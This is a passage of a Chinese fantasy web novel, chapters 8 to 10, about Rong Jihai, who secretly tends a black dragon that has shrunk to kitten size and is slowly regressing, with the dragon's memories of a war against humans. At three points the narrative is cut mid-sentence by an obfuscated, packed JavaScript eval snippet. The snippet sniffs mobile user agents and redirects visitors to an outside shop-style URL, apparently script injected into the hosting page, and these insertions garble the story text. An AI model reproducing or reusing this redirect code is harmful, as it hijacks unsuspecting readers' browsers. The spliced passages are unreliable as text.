荣纪海的语气里没有哪怕一点的怀疑或是不安,好像仅仅只是问出一个早有答案的问题,又或是他并不是在替自己问,哪怕主语确实是他。 他最后问:“我还能相信你吗。” —— 荣纪海挂断电话,手臂松了气力垂落在地上。 他目光沉沉,一动不动地靠在床侧,脑内一片风暴。 没能想出个所以然来,荣纪海慢慢撑起身,开门下楼。 龙大概是疑惑他怎么刚进去不久又出来了,两盏大型探照灯突兀发亮,直直朝大门口的荣纪海射过来。 荣纪海没有说话,只是默默地走进龙搭在前爪上的头颅,抚上龙的鼻间。 如果是真的…… 荣纪海回避了龙的视线,只是盯着自己脚下的泥土。 龙的体型与气息虽然可以靠物理方式与他目前还不知道的方式隐藏,但过往的所有经历无一例外都表明着,没有什么是可以真正做到毫无痕迹的。 特别是龙。 他心思纷乱,因此没注意到龙的瞳孔微缩,呈现出类似捕猎的姿态。 如果想要做到最极致的隐藏,最好的办法并不是赌那百分之一完美的可能性,而是干脆明一半暗一半,毕竟最完美的谎言便是半真半假的谎言——即便这一条路实际上也是一次赌博。 他终于下定决心,抬头对上龙的瞳孔。 在他抬头之前,龙原本尖利起来的竖瞳又恢复了常态。 “抱歉。”荣纪海只是这样说了一句,轻轻拍了拍龙,便什么也没发生似的离开了,徒留龙迷惑地用爪子碰了碰荣纪海的手拍到的地方。 此时的荣纪海并不会预料到,他的这一次赌局将为他的未来带来多大的认知冲击。 但仅仅是今晚,荣纪海回房关灯后,龙少见地没有注视着那扇窗户,而是打了个巨大的哈欠,早早便陷入了沉睡。 8. 第四天·小龙 荣纪海发誓,他虽然已经预设了几个可能的结果,但唯独没有想过会是这样。 今天清晨,他是被硬物敲击玻璃的声音吵醒的。 “唔……什么声音?”荣纪海费力地睁眼,一看时间不过五点。 玻璃刮擦的声音还在继续,甚至有愈演愈烈的倾向。 荣纪海无奈下床,想着莫不是龙在用尾巴尖敲窗,又自己否决这个可能性——无论如何,那头龙看上去并不是会做出用尾巴敲窗这样近乎顽皮的举动的类型。 不过龙的行为也不能用人类的认知去定义……也许真的是呢? 他打着哈欠拉开窗帘。 他没有想到,他确实猜对了,但只对了一半。 窗外敲打玻璃的确实是龙,但不是用尾巴,而是用爪子——那只迷你的爪子。 荣纪海愣在原地,甚至忘了将窗外那头——现在也许该用“那只”了——那只小龙放进来。 黑龙不知为何体型缩水,看着加上尾巴大概也只有猫的大小,正费力地飞速拍打着翅膀以支撑自己保持悬空,见荣纪海拉开窗帘看着自己发愣,急得张嘴喷了个小火球打在玻璃上。 火球炸开的光亮唤醒荣纪海的神智,他连忙打开窗户让飞了好一会儿的龙进来。 小龙自然而然落在窗边的桌上,疲惫地趴下时嘴里吐出一小缕青烟。 “你怎么——”荣纪海话说到一半又噎了回去。 不会吧……难道是昨晚那个—— 荣纪海瞳孔微缩,想到了那个可能性。 “不对,不应该啊,为什么会……” 荣纪海转头张望着,迅速回到床边拿起手机。 啊,不行,不能问,会暴露的。 荣纪海头疼地揉乱自己的头发,再抬眼时小龙正好奇地歪着脑袋盯着他。 他停了手,迎着那对探究的龙瞳稳了稳心神,干脆在桌前坐下,顺手关上窗,又像对待用气味识别身份的小动物那样无意识递了只手到龙的鼻子底下。 “你怎么变小了?”他看着龙奇怪地用鼻子碰了碰他的指尖,又疑惑地歪头,似是不理解他为何要伸手过来。 荣纪海这才意识到自己不知为何用对待小动物的方式对待了小龙,有些尴尬地想收回手,小龙却抬起两只前爪搭在他的掌边。 “!”荣纪海心一颤,探究着小龙的动作,顺从地将手贴在桌面上,让小龙半扒在上面。 小龙有了个舒适柔软的“垫子”后肉眼可见愉悦许多,大概是精力恢复得差不多了,开始好奇地伸展自己如今也是迷你版的翅膀,左瞧瞧右看看,显得十分新鲜。 “这不是你自己想变的吗……”荣纪海瞧着小龙的动作,显然也是不清楚自己为何变样的样子,大概并不是龙自己主导的变化。 昨天夜里没有感觉到什么其他异样,那就只可能是…… 荣纪海用另一只空闲的手抵住下巴,有些后悔莫及。 天知道他最开始只是想让龙不被发现而已啊! 这下遭了……还赌个什么啊,桌子都掀一半了。 荣纪海动了动指尖,不小心搔刮到小龙的腹部,激得小龙亮了牙,原本注意着不伤到荣纪海的手的爪子也微微陷入肉里。 然而他还没来得及道歉,龙又迅速恢复了平静,甚至毫不介意地继续保持了原来的姿势,就像刚刚那一瞬只是它没注意才跑出来的本能反应。 荣纪海张张口,又闭上了。 不过,如果真的是因为那个,也许正好可以用来——啊不行,甚至根本不知道这有什么副作用,又能持续多久,更何况如果不能足够近距离的接触也无法发动…… 荣纪海暂时息了念头,注意力重新转回小龙身上。 他捏起小龙的翅膀查看背面的伤,那焦黑的痕迹同样等比例缩小了,没有任何变化。 小龙跟着他的动作一起抬头,阳光透过翅膀尖晃到它的眼睛上时,它仰头打了个小小的哈欠。 荣纪海放下翅膀,用指腹摸了摸小龙的角,见龙瑟缩了一下脖子才停手,“困了吗?”他想起刚刚将小龙放进来时对方疲倦的样子。 是副作用之一? 荣纪海皱起眉,四处环顾房间,最后还是把小龙抱了起来。 突如其来的动作并没有让小龙惊讶太多,只是有些无措地扇了扇翅膀,抬头瞄了一眼荣纪海的神情,便安心窝在荣纪海的臂弯里。 他把龙放在自己的枕头上,见龙的四只爪子试探着踏了踏柔软的枕头,又满意地卧下去后才轻笑了笑。 虽然那声音里毫无轻松之意。 小龙大概真的疲惫至极,半个身体陷在枕头里很快便闭了眼。 荣纪海在床边半蹲着,直到连小龙搭在枕头边缘的尾尖也不再颤动后,才起身离开房间——走之前也没忘记将摄影机对着自己的床架好。 他出门走到院子里,龙原先待的地面已经微微凹下去一个浅坑。他蹲下身用指节大概测量了一下深度,又微妙地碾了碾指尖还算松软的泥土。 之前没发现,这样一看这头龙似乎比同类的体型还要小上一些,重量也是。 难道是没成年的个体吗?但看龙角的状态也不像。 他抬头看了一眼自己卧室的窗,深吸一口气,阖上双眼。 周身的一切都在这一刻恍若静止。 尘埃微弱浮动、光线一寸寸挪移、几百米的空中鸟儿的翅羽相互刮擦、山脚下一片落叶随风飘扬—— 荣纪海睁开眼,缓缓呼出一口气。 “虽然出了点差错,但似乎还是起作用了……”荣纪海放了一半的心,“不过它那边的窝得处理一下……” 他抬手按住鼻间,压下大脑深处传来的钝痛。 “疏于锻炼果然还是要遭报应的。”他苦笑了笑,彻底收回已经近两个月没用过的力量。 荣纪海犹豫了一下,还是选择先上楼等待小龙醒来再一同出发——他可不想等回来时只能看见房子里被弄得一片狼藉。 虽然这头龙挺通人性,但是这个物种…… 荣纪海马上摇摇头打断自己的思绪,推开门时小龙依然安稳地睡着,房子附近的鸟鸣已渐渐响了起来,倒是显得一派和谐宁静了。 他重新上床,靠在床头上打开手机,唐发来了消息,只说明天队伍就会经过市区。 荣纪海往上翻了翻,没有来自唐的其他消息。 他微垂眼帘,手指无意识攥紧手机。 没有回答吗……虽然也是在意料之中。 手机屏幕一亮,荣纪海的目光重新移回去。 看到来信人的名字时,他瞳孔微缩,嘴角抿了下去。 这下,意料之外来了。 [李仁常:有时间吗?我们见一面吧。] —— 那是一个很好的世界。 作为这个世界的霸主,龙从来都高傲却不霸道。所有生灵在龙的庇佑下共享同一片天空与同一片大地,即便具有与龙相似的智慧的人类也是如此。 它幼年时曾见过人类的社会,那是与龙截然不同的,欣欣向荣的样子。 人类是非常脆弱的。它想起自己的父母曾这样教导过它。 人类的力量十分微小,因此需要许多人类合作,才能做成一头刚从蛋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14052619|149055||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里爬出来的幼龙便能轻而易举做到的事情。 但人类也许也很强大。它的父母有一天这样说道,并非充满感叹与佩服,却满腹忧虑。 [人类的想法是龙无法预料的,也许未来有一天,人类会走在龙的前面。] [那又怎么样呢,一起生活不就好了,为什么要分走在前面还是后面。]那时的它只是这样天真地说,父母听了只是用爪子拍了拍它的头。 [休有一个很美好的愿望呢。] 为什么是愿望?它明明说的是事实啊。 那曾经是一个很好的世界。 人类中间出现了拥有与龙相似力量的个体,长老们都猜测那是同胞之一背叛了大家,擅自赠予人类的。 也有长老认为是人类杀死了一头龙,才拥有了那样的力量。 但不论哪种说法是对的,只有一个事实不会被各种猜测左右——人类拥有了足以匹敌龙的力量。 [那不是更好吗?我们可以和人类一起做更多的事情了,很多很多地方只有人类那样的体型才能去呢。] 它只是在心里想着,没有对任何龙提起。 曾经会拍着它的头,笑它的愿望很美好的父母已经不在了,它们度过了对于龙而言也过于悠久的岁月,沉眠在了埋骨之地。 然后,一切便如父母逝去不会再醒来那样,再也回不去了。 人类利用那些也许是与龙同源的力量步步紧逼,很多很多龙在离埋骨之地千百里之外的地方从空中坠落,也有很多很多人类与龙的尸骨混杂在一起,垫起如今的土地。 不断逃亡又不断反击时,它偶尔会想起父母曾说过的话。 人类是非常脆弱的——是的。它们的身体是那样柔软易碎,很多时候甚至不需要喷出火焰,也不需要动用什么力量,只需轻轻一抬脚,然后放下,一个人类就消失在泥土里了。 但人类也许也很强大——也是的。它们掌握力量的速度如此之快,数量又如此之多,即便真正能使用力量与龙正面战斗的人类数量非常少,但那些普通的人类,好像永远都不必担心种族灭绝。 一波,一波,又一波,然后还有一波。 这让它想起了水流。水流好像永远都无法真正被截断,只要出现一点点的缝隙,便能在千百年的时间里从细细的一条汹涌成足以容纳好几头幼龙玩耍的一大片。 人类原来是这样的。 在某一个火焰烧灼着夜幕的晚上,它回头遥望没再追上来的人类。 原来父母没有说错,那真的只是一个美好的愿望。 —— 龙慢慢睁开眼,过于遥远的梦境让它有些恍惚。 身下并不是虽然柔软但偶尔有些扎痒的草地,它握了握爪子,身体深处蔓延上一股脱力的疲惫感,令它几乎马上又要陷入沉睡。 它慢慢意识到自己正睡在哪里,于是抬起头转了转,在床头找到了那个人类。 人类正皱着眉,紧紧盯着那块发光的东西,甚至没有注意到它已经醒来。 清脆的鸟鸣在窗外响起,它回过头,正好看见一只小鸟“哒哒”地跳到人类的桌子上,歪着灵活的头看向这边。 这不是那个已经回不去的世界。它很清楚这一点。 但也许…… 它慢慢将沉重起来的头搁在前爪上,听到身后的人类探过来叽咕叽咕了一顿。 也许…… 人类的脸闯进它的视野里。 [没关系]。它“呜鲁”了一声。 它伸长爪子按在人类的脸上。 如果可能的话,那一定是从这个人类身上开始吧。 9. 第四天·磨合 “?”荣纪海微妙地顿了一下,等待几秒,见小龙没有要放下爪子的趋势后才将小龙的爪子握住,拉离自己的脸,“怎么了?” 小龙当然不会回答他,所以他只是握着那只爪子固定住小龙,凑近了细细查看小龙的状态。 “……应该确实是副作用。”荣纪海小声喃喃着,即便知道小龙大概率听不懂,但依然下意识降低了音量。 小龙挣了挣爪子,荣纪海便顺势放开它。 “呜——”小龙从喉咙深处发出一声长鸣,不知是因为身体表现也影响了发声器官还是如何,这声鸣叫稚嫩又尖细。显然小龙本龙也没料到会是这个声音,尾尖“歘”地一下炸出一小团火。 荣纪海眼疾手快地一把抓住小龙的尾巴举起来,让那尾巴尖远离自己充满了易燃物的床铺。 小龙肉眼可见地呆愣了几秒,仿佛在消化着这个事实,想要抽动尾巴时受到的阻力让它转头一看,终于发现了自己被握住的尾巴,以及那团让空气微微扭曲的火焰。 小龙张开嘴,又闭上,默默熄了火,回过头眨巴眨巴地盯着荣纪海。 这就是在撒娇吧。 荣纪海暗叹一口气,放开那条乖巧地伏在他手心里的尾巴,一把将小龙抱起来,将那条还在装死而自然下垂的尾巴手动盘在自己手腕上,“机会难得,带你参观一下我住的地方。” 小龙微微缠紧了荣纪海的手腕,尾尖巧妙地搭在那块会“扑通扑通”跳动的皮肤上,那样的跳动对敏感的尾巴尖来说过于剧烈了,更何况现在身体变小,尾巴尖似乎比原体型时更加敏感,带动着小龙自己的心脏也跟着嗵嗵跳。 不过,这样的感觉也不坏。 小龙收拢先前一起炸开的翅膀,规规矩矩地紧贴在自己背部,只将头伸出去好奇地打量着周遭的一切。 荣纪海抱着龙走到与卧室紧邻的书房,推开门时小龙在他怀里突然嗤了嗤鼻,小火星霎时四散开来,吓得荣纪海马上停住要往里走的脚步。 小龙不太舒服地用爪子胡乱拨弄自己的面部,靠外的翅膀支棱起来费力地罩住自己的半个身体。 荣纪海见状后退几步,重新关上门。 “这是……难道是过敏?”荣纪海一手将小龙往上抱了抱,一手轻拍了拍小龙靠外的身体。 小龙似乎好受很多,瞳孔尖锐起来瞪着那扇门。 荣纪海有些好笑地颠了颠龙,“好好,抱歉,我们不进去了。”他低头观察着小龙的瞳孔,转身朝楼下走去。 先前龙降落时掀起的尘土似乎并没有对龙造成任何影响,如今虽然体型缩小,但书房里那些细微到肉眼不可见的微尘,按理来说也不至于引起龙的与过敏类似的反应。 还是说,是纸张的碎屑? 荣纪海暗暗将这一条记在自己心里的册子上,带着小龙来到客厅。 并不准备给听不懂的小龙无意义地讲解各个家具,荣纪海只是径直走到了客厅的一个角落——那里只开口朝上地放了一个挺大的纸箱。 靠近时小龙耸耸鼻子,似乎是闻到了什么。 一直注意着小龙状态的荣纪海笑笑,正要伸手扒拉下纸箱竖起的开合板,那箱体便突然从内部发出几声“嗵嗵”闷响,伴随着硬物剐蹭纸板的声音,箱子突然往前突突了几寸。 “嗷!”小龙两只前爪扒着荣纪海的手臂便直起半个身子,还未彻底恢复的瞳孔尖锐地缩小,尖牙在吻部之间露出杀意。 “别激动别激动,这里面的小东西你应该认识的。”荣纪海用手掌覆在小龙的前爪上,指腹磨蹭着小龙下意识伸出在衣服上压了个浅坑的利爪,腾不出手来再去掰纸板,只好压着爪子往前凑了凑,让小龙能看到里面藏着的小东西。 小龙愣住了,爪子伸缩张合,早就抛却在脑后的记忆在看到那小东西后苏醒,它歪歪头,用奇异的音调低吟一声,抬头仰视荣纪海带笑的眉眼。 “虽然在你眼里这是吃的……不过鉴于我没有这方面的喜好,所以,就自作主张地当做是你送我的第一个礼物啦。”荣纪海觉得这小龙的表情稀奇,原本压着小龙前爪防止暴动的手伸上来,亲昵地在龙角之间的鳞片上蹭了蹭。 纸箱里是一只小兔子。 小龙看看荣纪海扬起的嘴角,又看看那只总算安稳了一会儿不再扑腾的兔子,尾巴末梢感知到的跳动频率似乎加快了一点,也许这就是让它突然有点心慌意乱的罪魁祸首。 小龙将尾巴尖从那块皮肤上移走,刻意地避开荣纪海的手臂自然垂落在半空中。 荣纪海没留意到这细微的变化,他只是看着小龙恢复了温和的龙瞳,膝盖曲起,将纸箱轻轻推回原位,顺带检查了下兔子的吃食,才带着小龙往大门口走。 抬脚时荣纪海想起什么,回头看看那个纸箱,肉眼丈量了一下先前的距离。 嗅闻能力也退化了吗?他不动声色地摸摸小龙的鼻子,引得小龙后仰了仰,又不甘不愿地重新凑近他的指腹。 啊,又是这样。 荣纪海默默记了个数。 似乎不是他的错觉,即便龙偶尔会对他的一些举动表现出不适或是本能抗拒,但最后总会选择再次靠近他。 当然,除了药膏的那一次。 对于宠物主人来说这兴许是值得开香槟庆祝的好事,但荣纪海只是抿下嘴角,比起欣喜,更多的倒是疑虑了。 但不论这样的行为带有什么目的,龙的亲近无疑能为研究带来更多助力。 荣纪海微微吸了一口气,趁小龙还未注意到时将叹息咽回了肚子里。 前院的景象在小龙还没有缩水成小龙时大概就已经熟悉了,至于厨房…… 荣纪海微妙地移开目光,暂时还是别让龙知道利器的存在——也许会比较好。 他抱着小龙走向自己的车,单手拉开车门时,怀里的小龙还探头探脑地去看被车门挡住的车头外观。 “这是之前我用来下山的交通器具,”荣纪海习惯性地解释,将小龙放在副驾驶的位置上,思索一会儿还是给拉上了安全带。 也许是时候买一个猫包了? 安全带当然无法控制住小龙,只是虚虚地在龙身前形成两条毫无束缚的带子。小龙歪歪头,用爪子拨了拨横着的那条带子,便安然地将前爪搁在那上面,重量压上去时,有一定弹力的安全带还带着小龙上下抖了抖。 启动车子的间隙荣纪海偏头看了一眼,伸手将小龙往靠背里又推了推。 “……”开慢点好了。 荣纪海转动方向盘,余光看着小龙开始低头研究安全带,便抬手将后视镜掰了掰,以便看到副驾驶的情况。 他直直地盯着前方,瞳孔微散。下一秒,强烈的气息标记便如同被高亮一般出现在远方的半空中。 荣纪海回忆了一下可供车辆通过的山路,循着那因动用感官有限而显得比清晨时更加若隐若现的标记开去。 后视镜里,小龙毫无察觉地自顾自啃咬着安全带,却很有分寸地没有让尖牙真的戳破哪怕一丝一毫。 果然。不只是嗅闻能力出了问题。 荣纪海也不知是该放心还是该担心,挣扎半晌还是微微后悔起来。 先前龙带着他低空飞行的直线显然还是比开车方便太多。等他终于停在车辆可通过的极限道路尽头时,距离龙的窝还有一小段距离。 荣纪海犹豫了一下,还是摸摸小龙的头,“你在这里等等,我很快回来。” 小龙只是歪头,注视着荣纪海开门,下车,又重新关上门,直到彻底看不见那身影,才移开了目光。 荣纪海走到车前时从没有贴防窥膜的挡风 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14052620|149055||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 玻璃往里看去,见小龙只是相当自来熟地跳到后座,在后座宽敞不少的座椅上踱来踱去后,才转身离开。 希望后面不用再去修理玻璃……或是其他的什么吧。荣纪海抬手挡开前方的树枝时颇有些无奈地想。 去除龙残留的气息并不是什么难事,更何况龙在这窝里的时间大概实在是少得可怜,兴许他屋子前院的那个浅坑中的气息还要更加浓郁些。 说起来,比起这个还像模像样地铺了草的窝,自家门前那个地方……确实是太凄凉了 。 放下手臂时,荣纪海转头看向车所在的方向。 从这里望过去并不能看到任何哪怕车子的一角,更无从看到小龙的样子。 如果在这里做了窝,待在窝里的时间却并不多,甚至在这几天几乎都待在院子里,却没有任何要在院子里做窝的兆头…… 完全不符合正常动物的生存本能啊……更何况还有那对情感浓郁的龙瞳。 “也有目的……吗。”荣纪海垂下眼睑,最后看了一眼那棵曾经存放了奇形怪状的果实的树,便动身往外走去。 —— “……龙,能洗澡吗?” 荣纪海哑然地看着后座座位底下滚了一身灰的小龙,这会儿对方倒是没有表现出任何过敏症状,听到开门的声音,黑暗中只有发亮的瞳孔跟小灯泡似地望过来。 荣纪海无奈地探身,把小龙捞了起来,在半空中试图伸手拍拍那堆牢牢黏在鳞片上的,甚至几乎要盖住那黑得发亮的光泽的灰尘,临碰到时又看看将要用手握住的方向盘,还是头疼地把小龙搁在副驾驶上。 小龙甩甩头,落了一蓬灰。 之前见过龙舔爪子,所以应该是有爱干净的本能的。荣纪海分了点余光去看小龙,对方看着自己身前那层灰,似乎终于意识到自己太脏了,抬着爪子左看看右看看,始终是没能下嘴。 ……看起来应该是不会排斥能把它弄干净的工具了。 荣纪海趁小龙看过来前重新专注地目视前方,往下压了压几乎要被小龙那嫌弃自己的模样逗笑的嘴角。 —— 到家时,几乎是荣纪海打开自己这侧车门的一瞬间,小龙便便如离弦之箭般冲了出去。等荣纪海一脸莫名地抬头时,那只通体灰色的小龙已经站在院子那根水管底下等着了。 见荣纪海依然站在车前没过来,小龙的尾巴尖窜出点火苗,“啪啪”地拍打着地面。 “之前也没见你这么洁癖啊……难道体形变小也会改变习性?”荣纪海嘟哝着向前,一手拧开水龙头,一手拎着水管上下冲洗着小龙的鳞片。 小龙体型不大,即便滚了一身灰也洗得迅速,甚至没有像长毛动物那样需要梳洗,若是作为宠物倒还算得上是省心省力。 荣纪海蹲下身,细细扒开鳞片查看是否藏匿了额外的灰尘,等把尾巴尖都检查完后,小龙已经摇摇晃晃地想要就地趴伏睡下了。 “精力也差了很多……各方面都出现了不同程度的大幅退化吗……” 荣纪海神色凝重地抱起小龙,也不顾残留在鳞片上的水珠沾湿了衣衫,见小龙的眼睛快彻底闭上了,加快步伐往卧室走去。 待小龙在自己的枕头上再次陷入深眠时,荣纪海拿出手机看了看时间——下午一点。 从今早他被龙叫醒到现在不过八个小时,龙却已经睡过去两次。 荣纪海有些惆怅地点开短信,那封来自名叫李仁常的联系人的短信还静静地躺在原处,没能得到回复。 看来……必须得去一趟了。 他动动手指,简单打下几个字:[除了今天,时间你定吧。] 侧躺着陷在枕头里的小龙四肢动了动,垂落在枕边的尾巴尖时不时无意识抽动一下,俨然正挣扎在什么并不愉快的梦境里。 10. 第四天·食物 像是最嫩的肉在火上炙烤,也像是它曾吃过的最好吃的果子,又或许是母亲的怀抱,可能也是父亲垂落的尾尖…… 那是它眼中最美好的一切。 它趴在最下层的树枝上,粗壮的枝干好好地承受了它的重量,也因此保护着刚醒来迷迷糊糊的它没有砸在树下的一个人类头上。 这是哪儿? 睡着前的记忆被糊上一层香香甜甜的蜜糖,熏得它晕头转向。 跳动的火光远不如它尾尖的火苗炽热,却神奇地与夜色融为一体,曾用来划破黑暗的火焰如今却温柔地在地面各处绽放,成为点缀黑色大地的绚烂之花。 火——龙用来攻击,用来作为生存的能量;而人类用来驱赶猛兽,用来照亮危险的黑夜,用来让冻僵的躯体起死回生。 可没有一种用法是像现在这样的。 火焰舞动的触角软化了,这却并不是因为火的威力减弱,而是…… 它眨巴眨巴眼,高高地竖起翅膀和尾巴保持平衡,小心地让尾尖避开树叶——很遗憾,它还没有学会收起自己尾尖的火苗。 它往前探着身子,好在树下的人类已经走过去加入了火焰旁围了一圈的人类,这才让它免于被发现。 很多很多人类一个接一个地在火焰四周连成一圈,龙眼里人类那脆弱而无用的嘴巴开开合合,嚎着龙听不懂的声调,欢快而温暖的情绪却不被语言壁垒囚禁,跳脱地跑到它的耳朵里鼓噪出并不感觉厌烦的杂音。 为什么呢? 难道人类可以驯化火焰吗?难道人类不怕那些星子蹦到自己的身体上,灼出焦黑一片吗? 明明哪怕那些火焰的触角被软化,但无处不在也无孔不入的火星从来不会甘愿受控的。 它愤愤不平地想,下意识地想甩动尾巴,又硬生生用爪子抓烂了树皮才克制住这股冲动。 明明……明明我都还不能控制我的火呢。 木材烧起的烟终究是窜进它的鼻腔,好在它早已习惯被浓烟环绕,龙瞳依旧一眨不眨地死死盯着那头。 人类开始游动,头尾相连,像是一个走不出来的循环,从小孩到老人,再从老人到小孩,相连循环的几代人,才堪堪能够见证它的长大。 它没有注意到自己的头无意识地跟着人类转起了圈,一圈,一圈,又一圈。 它一头栽进了地里。 —— 荣纪海正在厨房煮着速冻水饺,刚用勺子捞起一个,就听楼上“哐当”一声巨响。 反手关了火往楼上跑时,他分出了些心思稍微判断了一下,猜测大概是床边的摄像机再次被撞倒了——但也没道理,那小东西怎么会在隔音还算好的房间里发出这么大的声音。 当他打开门时,便知道那巨响究竟是怎么出来的了。 小龙站在倒下的摄像机和倒下的办公桌中间不知所措,尾巴耷拉在地上,拖出好长一条破折号。 “啊……”荣纪海自然是内心毫无波动了——鉴于他曾听说过养猫养狗的前同事仅仅是出门拿个外卖的功夫,家就被拆了的故事。 “没关系。虽然不知道你是怎么做到的……”那小龙的体型可只有桌子腿还不到一半高。荣纪海上前将小龙抱起来,单臂稍微举高,让它的前爪能搭上自己的肩,好施力挂在自己肩上。 他弯腰捡起身经百战的劳模摄像机——依然不辱劳模之名正在正常运转,又转身扶起光秃秃的光杆司令办公桌——好在他先前没有放什么东西在那上面,才把垂着脑袋乖乖挂在自己身上的小龙取下来,重新安置在怀里。 “是我的错觉吗,你的心智好像也……”荣纪海摸了摸小龙许久未使用过的翅根,差点被喷出的火团撩着衣服。 “嗯,确实变幼稚了——啊不对,应该说是变得……”他犹犹豫豫地低头去对小龙的眼睛,“等会儿,你还认得我吗?” 小龙歪歪头,尾尖小小地在荣纪海的手背上抽了一下。 桌子剩下的那一半估计也岌岌可危了。荣纪海自我忏悔,抱着小龙下楼。 在小龙睡觉期间他就吃完了自己的午饭,那顿水饺并非给他自己准备的。 天知道他在多早之前就想让龙试试人类的食物了。 这时小龙的嗅闻系统似乎又恢复了少许,大概是隔了老远便闻到了陌生食物的气味,不安分地在荣纪海怀里挣动起来。 荣纪海把小龙放在桌子上,贯彻着不让龙看到利器的原则,自己进了厨房,捞出先前被打断动作的水饺,随意码在陶瓷盘里端了出去。 小龙还算乖巧地坐在桌子上,只有规律晃动的尾巴泄露了它的真实情绪。 几乎是荣纪海放下盘子的同时,小龙张开嘴,长舌头一伸一卷就将两个水饺一起卷进了嘴里,荣纪海想要阻止的手停在了半空中。 好在小龙并没有被噎到,荣纪海便也放任小龙风卷残云般扫荡光了所有饺子。 “居然还蛮喜欢的吗?也是,又有肉又有菜……龙吃果子的话,应该也是杂食动物?”荣纪海一手撑着下巴,一手悄悄捏了小龙的尾尖打发时间。 眼见着光盘了,荣纪海正打算起来再给小龙装一盘,小龙却已等不及了似的,就要闻着味儿往厨房的方向冲去。 几个小时前小龙冲出车子的画面还历历在目,这次荣纪海当然不会放任小龙再次从自己眼皮子底下开溜。 荣纪海迅速伸手,指尖触到小龙的鳞片,一缕气流样的看不见的能量霎时在小龙周身形成一个环,将小龙牢牢控制在内。 糟了!下意识就—— 荣纪海脊背一凉,马上就想撤走这个看不见的禁锢环。 指尖再次接触到龙的身体前,却见小龙短促地“嗷”了一声,荣纪海轻而易举便将这声音与册子上最早一页上的一条记录对上号——这是代表着警告意味的嚎叫。 他眉一皱,便要解除能力,临了小龙却不耐烦又不理解地胡乱扭动起来。 这个反应……不对。 荣纪海停下动作,重新观察小龙的全貌。 小龙似乎没有意识到发生了什么,爪子和露出的尖牙毫无章法地对着空气乱抓乱咬,龙瞳不断放大缩小着,显然是焦躁极了。 它好像……完全没有感知到。 荣纪海的眉头皱得更深,思索了一会儿,还是没有解除那圈能量,就势迅速从厨房里端出了剩余的饺子。 盘子在桌面上磕出一声轻响的同时,荣纪海放开了小龙。 大概是先前吃的第一盘已经半饱,亦或是新奇褪去,小龙吃第二盘时不再用狼吞虎咽般的速度,倒是好好地一个一个慢慢吃了。 见着小龙马上就把刚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14052621|149055||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刚发生在自己身上的异样抛在脑后,荣纪海得了空拿出手机看了眼时间:下午四点。 趁小龙睡着时剪辑并发过去的音频和视频还没得到回信,荣纪海动动手指,退出到主界面后,唐的那条[明天队伍就会经过市区]的消息排在第二个位置。 然而,就像那则短信没有得到荣纪海的回复,短信的内容在现实中也迟迟未得到印证。 荣纪海看了看吃得欢乐的龙,灯光在他头顶投下的阴影遮蔽了他眼眸中的亮光。 是真的不可信了,还是他们遇到点差错推迟了时间? 荣纪海的另一只手敲击着桌面,“嗒嗒”的声响并没有影响到小龙的进食。 思考间,小龙突然打了个饱嗝。 “什!”荣纪海沉浸的思绪被投进了颗不大不小的石子,他诧异地看向小龙,丝缕青烟还环绕在小龙的嘴边,没来得及散去。 龙也会打嗝吗? 荣纪海下意识看了看手机屏幕——没有在录音。 不过…… 荣纪海因这陌生又熟悉的声音唤起了对册子早年间几条记录的回忆。 似乎确实曾听到过龙发出类似的声音。荣纪海想。不过那是从喉咙浅层发出的“咯咯”声,是一种令人汗毛直立的怪声。 但如果龙能发出那样的“咯咯”声,那打嗝的声音……确实理应可以做到。 荣纪海用指尖蹭了蹭小龙的下巴,小龙舒适地将头搁在他的手指上,大概是吃饱了的缘故,似乎又昏昏欲睡起来。 小龙享受着生活,荣纪海却愁云满面。 他记得很清楚,在今早小龙刚进他的房间时,神智明显还是正常的,对周遭的一切与自己身体的变化有一定的好奇心。然而只是短短半天不到,小龙似乎就真的成了小龙——或者说幼龙。 不知不觉间小龙好像习惯了这个小小的身躯,就像……就像这本该就是它真正的体型。 嗅闻、感知、思维——也许还有更多。 如果再退化下去呢?荣纪海抬起手指,脱离了靠垫的小龙不情不愿地四爪轮番交替踩踏了冷硬的桌面几步,作势要趴伏着盘起来。 他清楚地知道原本的龙虽然体型似乎偏小,但也绝对是板上钉钉的成年龙。按照各处真真假假的古籍记载,成年龙的年龄最小也有四百来岁了,战斗方式都趋于成熟。如果用战斗时的熟练程度来类比人类,那么曾发现过可能刚刚成年的龙大概与22岁的人类战斗思维相当。 如果龙确实拥有超出战斗本能的,接近于人类智慧的思想能力,那么他捡到的这头龙的思考能力最起码也该相当人类的27岁上下了——这与这半天下来小龙显现出的下滑式的行为逻辑成熟度显然不相符。 荣纪海收拾好盘子,凑近时才发现,盘子表面被小龙舔过的地方已经出现了微微侵蚀的迹象。 这什么生化武器…… 